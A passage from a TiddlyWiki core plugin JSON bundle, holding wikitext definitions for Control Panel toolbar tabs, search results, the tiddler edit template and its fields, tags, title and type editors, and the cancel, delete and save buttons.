"text": "\\define lingo-base() $:/language/ControlPanel/\n\n<<lingo Stylesheets/Hint>>\n\n{{$:/snippets/peek-stylesheets}}\n"
},
"$:/core/ui/ControlPanel/Theme": {
"title": "$:/core/ui/ControlPanel/Theme",
"tags": "$:/tags/ControlPanel/Appearance",
"caption": "{{$:/language/ControlPanel/Theme/Caption}}",
"text": "{{$:/snippets/themeswitcher}}\n"
},
"$:/core/ui/ControlPanel/TiddlerFields": {
"title": "$:/core/ui/ControlPanel/TiddlerFields",
"tags": "$:/tags/ControlPanel/Advanced",
"caption": "{{$:/language/ControlPanel/TiddlerFields/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/\n\n<<lingo TiddlerFields/Hint>>\n\n{{$:/snippets/allfields}}"
},
"$:/core/ui/ControlPanel/Toolbars/EditToolbar": {
"title": "$:/core/ui/ControlPanel/Toolbars/EditToolbar",
"tags": "$:/tags/ControlPanel/Toolbars",
"caption": "{{$:/language/ControlPanel/Toolbars/EditToolbar/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/EditToolbarButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/EditToolbar/Hint}}\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/EditToolbar\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/ItemTemplate\"/>\n\n</$set>\n\n</$set>"
},
"$:/core/ui/ControlPanel/Toolbars/EditorItemTemplate": {
"title": "$:/core/ui/ControlPanel/Toolbars/EditorItemTemplate",
"text": "\\define config-title()\n$(config-base)$$(currentTiddler)$\n\\end\n\n<$draggable tiddler=<<currentTiddler>>>\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <span class=\"tc-icon-wrapper\"><$transclude tiddler={{!!icon}}/></span> <$transclude field=\"caption\"/> -- <i class=\"tc-muted\"><$transclude field=\"description\"/></i>\n</$draggable>\n"
},
"$:/core/ui/ControlPanel/Toolbars/EditorToolbar": {
"title": "$:/core/ui/ControlPanel/Toolbars/EditorToolbar",
"tags": "$:/tags/ControlPanel/Toolbars",
"caption": "{{$:/language/ControlPanel/Toolbars/EditorToolbar/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/EditorToolbarButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/EditorToolbar/Hint}}\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/EditorToolbar\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/EditorItemTemplate\"/>\n"
},
"$:/core/ui/ControlPanel/Toolbars/ItemTemplate": {
"title": "$:/core/ui/ControlPanel/Toolbars/ItemTemplate",
"text": "\\define config-title()\n$(config-base)$$(currentTiddler)$\n\\end\n\n<$draggable tiddler=<<currentTiddler>>>\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <span class=\"tc-icon-wrapper\"> <$transclude field=\"caption\"/> <i class=\"tc-muted\">-- <$transclude field=\"description\"/></i></span>\n</$draggable>\n"
},
"$:/core/ui/ControlPanel/Toolbars/PageControls": {
"title": "$:/core/ui/ControlPanel/Toolbars/PageControls",
"tags": "$:/tags/ControlPanel/Toolbars",
"caption": "{{$:/language/ControlPanel/Toolbars/PageControls/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/PageControlButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/PageControls/Hint}}\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/PageControls\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/ItemTemplate\"/>\n\n</$set>\n\n</$set>\n"
},
"$:/core/ui/ControlPanel/Toolbars/ViewToolbar": {
"title": "$:/core/ui/ControlPanel/Toolbars/ViewToolbar",
"tags": "$:/tags/ControlPanel/Toolbars",
"caption": "{{$:/language/ControlPanel/Toolbars/ViewToolbar/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/ViewToolbarButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/ViewToolbar/Hint}}\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/ViewToolbar\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/ItemTemplate\"/>\n\n</$set>\n\n</$set>\n"
},
"$:/core/ui/ControlPanel/Toolbars": {
"title": "$:/core/ui/ControlPanel/Toolbars",
"tags": "$:/tags/ControlPanel/Appearance",
"caption": "{{$:/language/ControlPanel/Toolbars/Caption}}",
"text": "{{$:/language/ControlPanel/Toolbars/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Toolbars]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Toolbars/ViewToolbar\" \"$:/state/tabs/controlpanel/toolbars\" \"tc-vertical\">>\n</div>\n"
},
"$:/ControlPanel": {
"title": "$:/ControlPanel",
"icon": "$:/core/images/options-button",
"color": "#bbb",
"text": "<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Info\">>\n</div>\n"
},
"$:/core/ui/DefaultSearchResultList": {
"title": "$:/core/ui/DefaultSearchResultList",
"tags": "$:/tags/SearchResults",
"caption": "{{$:/language/Search/DefaultResults/Caption}}",
"text": "\\define searchResultList()\n//<small>{{$:/language/Search/Matches/Title}}</small>//\n\n<$list filter=\"[!is[system]search:title{$(searchTiddler)$}sort[title]limit[250]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n//<small>{{$:/language/Search/Matches/All}}</small>//\n\n<$list filter=\"[!is[system]search{$(searchTiddler)$}sort[title]limit[250]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n\\end\n<<searchResultList>>\n"
},
"$:/core/ui/EditTemplate/body/preview/diffs-current": {
"title": "$:/core/ui/EditTemplate/body/preview/diffs-current",
"tags": "$:/tags/EditPreview",
"caption": "differences from current",
"list-after": "$:/core/ui/EditTemplate/body/preview/output",
"text": "<$list filter=\"[<currentTiddler>!is[image]]\" emptyMessage={{$:/core/ui/EditTemplate/body/preview/output}}>\n\n<$macrocall $name=\"compareTiddlerText\" sourceTiddlerTitle={{!!draft.of}} destTiddlerTitle=<<currentTiddler>>/>\n\n</$list>\n\n"
},
"$:/core/ui/EditTemplate/body/preview/diffs-shadow": {
"title": "$:/core/ui/EditTemplate/body/preview/diffs-shadow",
"tags": "$:/tags/EditPreview",
"caption": "differences from shadow (if any)",
"list-after": "$:/core/ui/EditTemplate/body/preview/output",
"text": "<$list filter=\"[<currentTiddler>!is[image]]\" emptyMessage={{$:/core/ui/EditTemplate/body/preview/output}}>\n\n<$macrocall $name=\"compareTiddlerText\" sourceTiddlerTitle={{{ [{!!draft.of}shadowsource[]] }}} sourceSubTiddlerTitle={{!!draft.of}} destTiddlerTitle=<<currentTiddler>>/>\n\n</$list>\n\n"
},
"$:/core/ui/EditTemplate/body/preview/output": {
"title": "$:/core/ui/EditTemplate/body/preview/output",
"tags": "$:/tags/EditPreview",
"caption": "{{$:/language/EditTemplate/Body/Preview/Type/Output}}",
"text": "\\import [all[shadows+tiddlers]tag[$:/tags/Macro/View]!has[draft.of]]\n<$set name=\"tv-tiddler-preview\" value=\"yes\">\n\n<$transclude />\n\n</$set>\n"
},
"$:/state/showeditpreview": {
"title": "$:/state/showeditpreview",
"text": "no"
},
"$:/core/ui/EditTemplate/body/editor": {
"title": "$:/core/ui/EditTemplate/body/editor",
"text": "<$edit\n\n field=\"text\"\n class=\"tc-edit-texteditor tc-edit-texteditor-body\"\n placeholder={{$:/language/EditTemplate/Body/Placeholder}}\n tabindex={{$:/config/EditTabIndex}}\n focus={{{ [{$:/config/AutoFocus}match[text]then[true]] ~[[false]] }}}\n\n><$set\n\n name=\"targetTiddler\"\n value=<<currentTiddler>>\n\n><$list\n\n filter=\"[all[shadows+tiddlers]tag[$:/tags/EditorToolbar]!has[draft.of]]\"\n\n><$reveal\n\n type=\"nomatch\"\n state=<<config-visibility-title>>\n text=\"hide\"\n class=\"tc-text-editor-toolbar-item-wrapper\"\n\n><$transclude\n\n tiddler=\"$:/core/ui/EditTemplate/body/toolbar/button\"\n mode=\"inline\"\n\n/></$reveal></$list></$set></$edit>\n"
},
"$:/core/ui/EditTemplate/body/toolbar/button": {
"title": "$:/core/ui/EditTemplate/body/toolbar/button",
"text": "\\define toolbar-button-icon()\n<$list\n\n filter=\"[all[current]!has[custom-icon]]\"\n variable=\"no-custom-icon\"\n\n><$transclude\n\n tiddler={{!!icon}}\n\n/></$list>\n\\end\n\n\\define toolbar-button-tooltip()\n{{!!description}}<$macrocall $name=\"displayshortcuts\" $output=\"text/plain\" shortcuts={{!!shortcuts}} prefix=\"` - [\" separator=\"] [\" suffix=\"]`\"/>\n\\end\n\n\\define toolbar-button()\n<$list\n\n filter={{!!condition}}\n variable=\"list-condition\"\n\n><$wikify\n\n name=\"tooltip-text\"\n text=<<toolbar-button-tooltip>>\n mode=\"inline\"\n output=\"text\"\n\n><$list\n\n filter=\"[all[current]!has[dropdown]]\"\n variable=\"no-dropdown\"\n\n><$button\n\n class=\"tc-btn-invisible $(buttonClasses)$\"\n tooltip=<<tooltip-text>>\n actions={{!!actions}}\n\n><span\n\n data-tw-keyboard-shortcut={{!!shortcuts}}\n\n/><<toolbar-button-icon>><$transclude\n\n tiddler=<<currentTiddler>>\n field=\"text\"\n\n/></$button></$list><$list\n\n filter=\"[all[current]has[dropdown]]\"\n variable=\"dropdown\"\n\n><$set\n\n name=\"dropdown-state\"\n value=<<qualify \"$:/state/EditorToolbarDropdown\">>\n\n><$button\n\n popup=<<dropdown-state>>\n class=\"tc-popup-keep tc-btn-invisible $(buttonClasses)$\"\n selectedClass=\"tc-selected\"\n tooltip=<<tooltip-text>>\n actions={{!!actions}}\n\n><span\n\n data-tw-keyboard-shortcut={{!!shortcuts}}\n\n/><<toolbar-button-icon>><$transclude\n\n tiddler=<<currentTiddler>>\n field=\"text\"\n\n/></$button><$reveal\n\n state=<<dropdown-state>>\n type=\"popup\"\n position=\"below\"\n animate=\"yes\"\n tag=\"span\"\n\n><div\n\n class=\"tc-drop-down tc-popup-keep\"\n\n><$transclude\n\n tiddler={{!!dropdown}}\n mode=\"block\"\n\n/></div></$reveal></$set></$list></$wikify></$list>\n\\end\n\n\\define toolbar-button-outer()\n<$set\n\n name=\"buttonClasses\"\n value={{!!button-classes}}\n\n><<toolbar-button>></$set>\n\\end\n\n<<toolbar-button-outer>>"
},
"$:/core/ui/EditTemplate/body": {
"title": "$:/core/ui/EditTemplate/body",
"tags": "$:/tags/EditTemplate",
"text": "\\define lingo-base() $:/language/EditTemplate/Body/\n\\define config-visibility-title()\n$:/config/EditorToolbarButtons/Visibility/$(currentTiddler)$\n\\end\n<$list filter=\"[all[current]has[_canonical_uri]]\">\n\n<div class=\"tc-message-box\">\n\n<<lingo External/Hint>>\n\n<a href={{!!_canonical_uri}}><$text text={{!!_canonical_uri}}/></a>\n\n<$edit-text field=\"_canonical_uri\" class=\"tc-edit-fields\" tabindex={{$:/config/EditTabIndex}}></$edit-text>\n\n</div>\n\n</$list>\n\n<$list filter=\"[all[current]!has[_canonical_uri]]\">\n\n<$reveal state=\"$:/state/showeditpreview\" type=\"match\" text=\"yes\">\n\n<div class=\"tc-tiddler-preview\">\n\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/editor\" mode=\"inline\"/>\n\n<div class=\"tc-tiddler-preview-preview\">\n\n<$transclude tiddler={{$:/state/editpreviewtype}} mode=\"inline\">\n\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/preview/output\" mode=\"inline\"/>\n\n</$transclude>\n\n</div>\n\n</div>\n\n</$reveal>\n\n<$reveal state=\"$:/state/showeditpreview\" type=\"nomatch\" text=\"yes\">\n\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/editor\" mode=\"inline\"/>\n\n</$reveal>\n\n</$list>\n"
},
"$:/core/ui/EditTemplate/controls": {
"title": "$:/core/ui/EditTemplate/controls",
"tags": "$:/tags/EditTemplate",
"text": "\\define config-title()\n$:/config/EditToolbarButtons/Visibility/$(listItem)$\n\\end\n<div class=\"tc-tiddler-title tc-tiddler-edit-title\">\n<$view field=\"title\"/>\n<span class=\"tc-tiddler-controls tc-titlebar\"><$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditToolbar]!has[draft.of]]\" variable=\"listItem\"><$reveal type=\"nomatch\" state=<<config-title>> text=\"hide\"><$transclude tiddler=<<listItem>>/></$reveal></$list></span>\n<div style=\"clear: both;\"></div>\n</div>\n"
},
"$:/core/ui/EditTemplate/fields": {
"title": "$:/core/ui/EditTemplate/fields",
"tags": "$:/tags/EditTemplate",
"text": "\\define lingo-base() $:/language/EditTemplate/\n\\define config-title()\n$:/config/EditTemplateFields/Visibility/$(currentField)$\n\\end\n\n\\define config-filter()\n[[hide]] -[title{$(config-title)$}]\n\\end\n\n\\define current-tiddler-new-field-selector()\n[data-tiddler-title=\"$(currentTiddlerCSSescaped)$\"] .tc-edit-field-add-name input\n\\end\n\n\\define new-field-actions()\n<$action-sendmessage $message=\"tm-add-field\" $name={{{ [<newFieldNameTiddler>get[text]] }}} $value={{{ [<newFieldValueTiddler>get[text]] }}}/>\n<$action-deletetiddler $tiddler=<<newFieldNameTiddler>>/>\n<$action-deletetiddler $tiddler=<<newFieldValueTiddler>>/>\n<$action-sendmessage $message=\"tm-focus-selector\" $param=<<current-tiddler-new-field-selector>>/>\n\\end\n\n\\define new-field()\n<$vars name={{{ [<newFieldNameTiddler>get[text]] }}}>\n<$reveal type=\"nomatch\" text=\"\" default=<<name>>>\n<$button tooltip=<<lingo Fields/Add/Button/Hint>>>\n<$action-sendmessage $message=\"tm-add-field\"\n$name=<<name>>\n$value={{{ [<newFieldValueTiddler>get[text]] }}}/>\n<$action-deletetiddler $tiddler=<<newFieldNameTiddler>>/>\n<$action-deletetiddler $tiddler=<<newFieldValueTiddler>>/>\n<<lingo Fields/Add/Button>>\n</$button>\n</$reveal>\n<$reveal type=\"match\" text=\"\" default=<<name>>>\n<$button>\n<<lingo Fields/Add/Button>>\n</$button>\n</$reveal>\n</$vars>\n\\end\n\\whitespace trim\n\n<div class=\"tc-edit-fields\">\n<table class=\"tc-edit-fields\">\n<tbody>\n<$list filter=\"[all[current]fields[]] +[sort[title]]\" variable=\"currentField\" storyview=\"pop\">\n<$list filter=<<config-filter>> variable=\"temp\">\n<tr class=\"tc-edit-field\">\n<td class=\"tc-edit-field-name\">\n<$text text=<<currentField>>/>:</td>\n<td class=\"tc-edit-field-value\">\n<$edit-text tiddler=<<currentTiddler>> field=<<currentField>> placeholder={{$:/language/EditTemplate/Fields/Add/Value/Placeholder}} tabindex={{$:/config/EditTabIndex}}/>\n</td>\n<td class=\"tc-edit-field-remove\">\n<$button class=\"tc-btn-invisible\" tooltip={{$:/language/EditTemplate/Field/Remove/Hint}} aria-label={{$:/language/EditTemplate/Field/Remove/Caption}}>\n<$action-deletefield $field=<<currentField>>/>\n{{$:/core/images/delete-button}}\n</$button>\n</td>\n</tr>\n</$list>\n</$list>\n</tbody>\n</table>\n</div>\n\n<$fieldmangler>\n<div class=\"tc-edit-field-add\">\n<em class=\"tc-edit\">\n<<lingo Fields/Add/Prompt>> \n</em>\n<span class=\"tc-edit-field-add-name\">\n<$edit-text tiddler=<<newFieldNameTiddler>> tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Fields/Add/Name/Placeholder}} focusPopup=<<qualify \"$:/state/popup/field-dropdown\">> class=\"tc-edit-texteditor tc-popup-handle\" tabindex={{$:/config/EditTabIndex}} focus={{{ [{$:/config/AutoFocus}match[fields]then[true]] ~[[false]] }}}/>\n</span> \n<$button popup=<<qualify \"$:/state/popup/field-dropdown\">> class=\"tc-btn-invisible tc-btn-dropdown\" tooltip={{$:/language/EditTemplate/Field/Dropdown/Hint}} aria-label={{$:/language/EditTemplate/Field/Dropdown/Caption}}>{{$:/core/images/down-arrow}}</$button> \n<$reveal state=<<qualify \"$:/state/popup/field-dropdown\">> type=\"nomatch\" text=\"\" default=\"\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$linkcatcher to=<<newFieldNameTiddler>>>\n<div class=\"tc-dropdown-item\">\n<<lingo Fields/Add/Dropdown/User>>\n</div>\n<$set name=\"newFieldName\" value={{{ [<newFieldNameTiddler>get[text]] }}}>\n<$list filter=\"[!is[shadow]!is[system]fields[]search:title<newFieldName>sort[]] -created -creator -draft.of -draft.title -modified -modifier -tags -text -title -type\" variable=\"currentField\">\n<$link to=<<currentField>>>\n<$text text=<<currentField>>/>\n</$link>\n</$list>\n<div class=\"tc-dropdown-item\">\n<<lingo Fields/Add/Dropdown/System>>\n</div>\n<$list filter=\"[fields[]search:title<newFieldName>sort[]] -[!is[shadow]!is[system]fields[]]\" variable=\"currentField\">\n<$link to=<<currentField>>>\n<$text text=<<currentField>>/>\n</$link>\n</$list>\n</$set>\n</$linkcatcher>\n</$set>\n</div>\n</$reveal>\n<span class=\"tc-edit-field-add-value\">\n<$set name=\"currentTiddlerCSSescaped\" value={{{ [<currentTiddler>escapecss[]] }}}>\n<$keyboard key=\"((add-field))\" actions=<<new-field-actions>>>\n<$edit-text tiddler=<<newFieldValueTiddler>> tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Fields/Add/Value/Placeholder}} class=\"tc-edit-texteditor\" tabindex={{$:/config/EditTabIndex}}/>\n</$keyboard>\n</$set>\n</span> \n<span class=\"tc-edit-field-add-button\">\n<$macrocall $name=\"new-field\"/>\n</span>\n</div>\n</$fieldmangler>\n"
},
"$:/core/ui/EditTemplate/shadow": {
"title": "$:/core/ui/EditTemplate/shadow",
"tags": "$:/tags/EditTemplate",
"text": "\\define lingo-base() $:/language/EditTemplate/Shadow/\n\\define pluginLinkBody()\n<$link to=\"\"\"$(pluginTitle)$\"\"\">\n<$text text=\"\"\"$(pluginTitle)$\"\"\"/>\n</$link>\n\\end\n<$list filter=\"[all[current]get[draft.of]is[shadow]!is[tiddler]]\">\n\n<$list filter=\"[all[current]shadowsource[]]\" variable=\"pluginTitle\">\n\n<$set name=\"pluginLink\" value=<<pluginLinkBody>>>\n<div class=\"tc-message-box\">\n\n<<lingo Warning>>\n\n</div>\n</$set>\n</$list>\n\n</$list>\n\n<$list filter=\"[all[current]get[draft.of]is[shadow]is[tiddler]]\">\n\n<$list filter=\"[all[current]shadowsource[]]\" variable=\"pluginTitle\">\n\n<$set name=\"pluginLink\" value=<<pluginLinkBody>>>\n<div class=\"tc-message-box\">\n\n<<lingo OverriddenWarning>>\n\n</div>\n</$set>\n</$list>\n\n</$list>"
},
"$:/core/ui/EditTemplate/tags": {
"title": "$:/core/ui/EditTemplate/tags",
"tags": "$:/tags/EditTemplate",
"text": "\\whitespace trim\n\n\\define lingo-base() $:/language/EditTemplate/\n\n\\define tag-styles()\nbackground-color:$(backgroundColor)$;\nfill:$(foregroundColor)$;\ncolor:$(foregroundColor)$;\n\\end\n\n\\define tag-body-inner(colour,fallbackTarget,colourA,colourB,icon)\n\\whitespace trim\n<$vars foregroundColor=<<contrastcolour target:\"\"\"$colour$\"\"\" fallbackTarget:\"\"\"$fallbackTarget$\"\"\" colourA:\"\"\"$colourA$\"\"\" colourB:\"\"\"$colourB$\"\"\">> backgroundColor=\"\"\"$colour$\"\"\">\n<span style=<<tag-styles>> class=\"tc-tag-label tc-tag-list-item\">\n<$transclude tiddler=\"\"\"$icon$\"\"\"/><$view field=\"title\" format=\"text\" />\n<$button message=\"tm-remove-tag\" param={{!!title}} class=\"tc-btn-invisible tc-remove-tag-button\">{{$:/core/images/close-button}}</$button>\n</span>\n</$vars>\n\\end\n\n\\define tag-body(colour,palette,icon)\n<$macrocall $name=\"tag-body-inner\" colour=\"\"\"$colour$\"\"\" fallbackTarget={{$palette$##tag-background}} colourA={{$palette$##foreground}} colourB={{$palette$##background}} icon=\"\"\"$icon$\"\"\"/>\n\\end\n\n<div class=\"tc-edit-tags\">\n<$fieldmangler>\n<$list filter=\"[all[current]tags[]sort[title]]\" storyview=\"pop\">\n<$macrocall $name=\"tag-body\" colour={{!!color}} palette={{$:/palette}} icon={{!!icon}}/>\n</$list>\n<$set name=\"tabIndex\" value={{$:/config/EditTabIndex}}>\n<$macrocall $name=\"tag-picker\"/>\n</$set>\n</$fieldmangler>\n</div>\n"
},
"$:/core/ui/EditTemplate/title": {
"title": "$:/core/ui/EditTemplate/title",
"tags": "$:/tags/EditTemplate",
"text": "<$edit-text field=\"draft.title\" class=\"tc-titlebar tc-edit-texteditor\" focus={{{ [{$:/config/AutoFocus}match[title]then[true]] ~[[false]] }}} tabindex={{$:/config/EditTabIndex}}/>\n\n<$vars pattern=\"\"\"[\\|\\[\\]{}]\"\"\" bad-chars=\"\"\"`| [ ] { }`\"\"\">\n\n<$list filter=\"[all[current]regexp:draft.title<pattern>]\" variable=\"listItem\">\n\n<div class=\"tc-message-box\">\n\n{{$:/core/images/warning}} {{$:/language/EditTemplate/Title/BadCharacterWarning}}\n\n</div>\n\n</$list>\n\n</$vars>\n\n<$reveal state=\"!!draft.title\" type=\"nomatch\" text={{!!draft.of}} tag=\"div\">\n\n<$list filter=\"[{!!draft.title}!is[missing]]\" variable=\"listItem\">\n\n<div class=\"tc-message-box\">\n\n{{$:/core/images/warning}} {{$:/language/EditTemplate/Title/Exists/Prompt}}\n\n</div>\n\n</$list>\n\n<$list filter=\"[{!!draft.of}!is[missing]]\" variable=\"listItem\">\n\n<$vars fromTitle={{!!draft.of}} toTitle={{!!draft.title}}>\n\n<$checkbox tiddler=\"$:/config/RelinkOnRename\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> {{$:/language/EditTemplate/Title/Relink/Prompt}}</$checkbox>\n\n<$list filter=\"[title<fromTitle>backlinks[]limit[1]]\" variable=\"listItem\">\n\n<$vars stateTiddler=<<qualify \"$:/state/edit/references\">> >\n\n<$reveal type=\"nomatch\" state=<<stateTiddler>> text=\"show\">\n<$button set=<<stateTiddler>> setTo=\"show\" class=\"tc-btn-invisible\">{{$:/core/images/right-arrow}} \n<<lingo EditTemplate/Title/References/Prompt>></$button>\n</$reveal>\n<$reveal type=\"match\" state=<<stateTiddler>> text=\"show\">\n<$button set=<<stateTiddler>> setTo=\"hide\" class=\"tc-btn-invisible\">{{$:/core/images/down-arrow}} \n<<lingo EditTemplate/Title/References/Prompt>></$button>\n</$reveal>\n\n<$reveal type=\"match\" state=<<stateTiddler>> text=\"show\">\n<$tiddler tiddler=<<fromTitle>> >\n<$transclude tiddler=\"$:/core/ui/TiddlerInfo/References\"/>\n</$tiddler>\n</$reveal>\n\n</$vars>\n\n</$list>\n\n</$vars>\n\n</$list>\n\n</$reveal>\n"
},
"$:/core/ui/EditTemplate/type": {
"title": "$:/core/ui/EditTemplate/type",
"tags": "$:/tags/EditTemplate",
"text": "\\define lingo-base() $:/language/EditTemplate/\n\\whitespace trim\n<div class=\"tc-type-selector\"><$fieldmangler>\n<em class=\"tc-edit\"><<lingo Type/Prompt>></em> <$edit-text field=\"type\" tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Type/Placeholder}} focusPopup=<<qualify \"$:/state/popup/type-dropdown\">> class=\"tc-edit-typeeditor tc-edit-texteditor tc-popup-handle\" tabindex={{$:/config/EditTabIndex}} focus={{{ [{$:/config/AutoFocus}match[type]then[true]] ~[[false]] }}}/> <$button popup=<<qualify \"$:/state/popup/type-dropdown\">> class=\"tc-btn-invisible tc-btn-dropdown\" tooltip={{$:/language/EditTemplate/Type/Dropdown/Hint}} aria-label={{$:/language/EditTemplate/Type/Dropdown/Caption}}>{{$:/core/images/down-arrow}}</$button> <$button message=\"tm-remove-field\" param=\"type\" class=\"tc-btn-invisible tc-btn-icon\" tooltip={{$:/language/EditTemplate/Type/Delete/Hint}} aria-label={{$:/language/EditTemplate/Type/Delete/Caption}}>{{$:/core/images/delete-button}}</$button>\n</$fieldmangler></div>\n\n<div class=\"tc-block-dropdown-wrapper\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$reveal state=<<qualify \"$:/state/popup/type-dropdown\">> type=\"nomatch\" text=\"\" default=\"\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<$linkcatcher to=\"!!type\">\n<$list filter='[all[shadows+tiddlers]prefix[$:/language/Docs/Types/]each[group]sort[group-sort]]'>\n<div class=\"tc-dropdown-item\">\n<$text text={{!!group}}/>\n</div>\n<$list filter=\"[all[shadows+tiddlers]prefix[$:/language/Docs/Types/]group{!!group}] +[sort[description]]\"><$link to={{!!name}}><$view field=\"description\"/> (<$view field=\"name\"/>)</$link>\n</$list>\n</$list>\n</$linkcatcher>\n</div>\n</$reveal>\n</$set>\n</div>\n"
},
"$:/core/ui/EditTemplate": {
"title": "$:/core/ui/EditTemplate",
"text": "\\define save-tiddler-actions()\n<$action-sendmessage $message=\"tm-add-tag\" $param={{{ [<newTagNameTiddler>get[text]] }}}/>\n<$action-deletetiddler $tiddler=<<newTagNameTiddler>>/>\n<$action-sendmessage $message=\"tm-add-field\" $name={{{ [<newFieldNameTiddler>get[text]] }}} $value={{{ [<newFieldValueTiddler>get[text]] }}}/>\n<$action-deletetiddler $tiddler=<<newFieldNameTiddler>>/>\n<$action-deletetiddler $tiddler=<<newFieldValueTiddler>>/>\n<$action-sendmessage $message=\"tm-save-tiddler\"/>\n\\end\n<div data-tiddler-title=<<currentTiddler>> data-tags={{!!tags}} class={{{ tc-tiddler-frame tc-tiddler-edit-frame [<currentTiddler>is[tiddler]then[tc-tiddler-exists]] [<currentTiddler>is[missing]!is[shadow]then[tc-tiddler-missing]] [<currentTiddler>is[shadow]then[tc-tiddler-exists tc-tiddler-shadow]] [<currentTiddler>is[system]then[tc-tiddler-system]] [{!!class}] [<currentTiddler>tags[]encodeuricomponent[]addprefix[tc-tagged-]] +[join[ ]] }}}>\n<$fieldmangler>\n<$vars storyTiddler=<<currentTiddler>> newTagNameTiddler=<<qualify \"$:/temp/NewTagName\">> newFieldNameTiddler=<<qualify \"$:/temp/NewFieldName\">> newFieldValueTiddler=<<qualify \"$:/temp/NewFieldValue\">>>\n<$keyboard key=\"((cancel-edit-tiddler))\" message=\"tm-cancel-tiddler\">\n<$keyboard key=\"((save-tiddler))\" actions=<<save-tiddler-actions>>>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditTemplate]!has[draft.of]]\" variable=\"listItem\">\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n<$transclude tiddler=<<listItem>>/>\n</$set>\n</$list>\n</$keyboard>\n</$keyboard>\n</$vars>\n</$fieldmangler>\n</div>\n"
},
"$:/core/ui/Buttons/cancel": {
"title": "$:/core/ui/Buttons/cancel",
"tags": "$:/tags/EditToolbar",
"caption": "{{$:/core/images/cancel-button}} {{$:/language/Buttons/Cancel/Caption}}",
"description": "{{$:/language/Buttons/Cancel/Hint}}",
"text": "<$button message=\"tm-cancel-tiddler\" tooltip={{$:/language/Buttons/Cancel/Hint}} aria-label={{$:/language/Buttons/Cancel/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/cancel-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Cancel/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/delete": {
"title": "$:/core/ui/Buttons/delete",
"tags": "$:/tags/EditToolbar $:/tags/ViewToolbar",
"caption": "{{$:/core/images/delete-button}} {{$:/language/Buttons/Delete/Caption}}",
"description": "{{$:/language/Buttons/Delete/Hint}}",
"text": "<$button message=\"tm-delete-tiddler\" tooltip={{$:/language/Buttons/Delete/Hint}} aria-label={{$:/language/Buttons/Delete/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/delete-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Delete/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/save": {
"title": "$:/core/ui/Buttons/save",
"tags": "$:/tags/EditToolbar",
"caption": "{{$:/core/images/done-button}} {{$:/language/Buttons/Save/Caption}}",
"description": "{{$:/language/Buttons/Save/Hint}}",
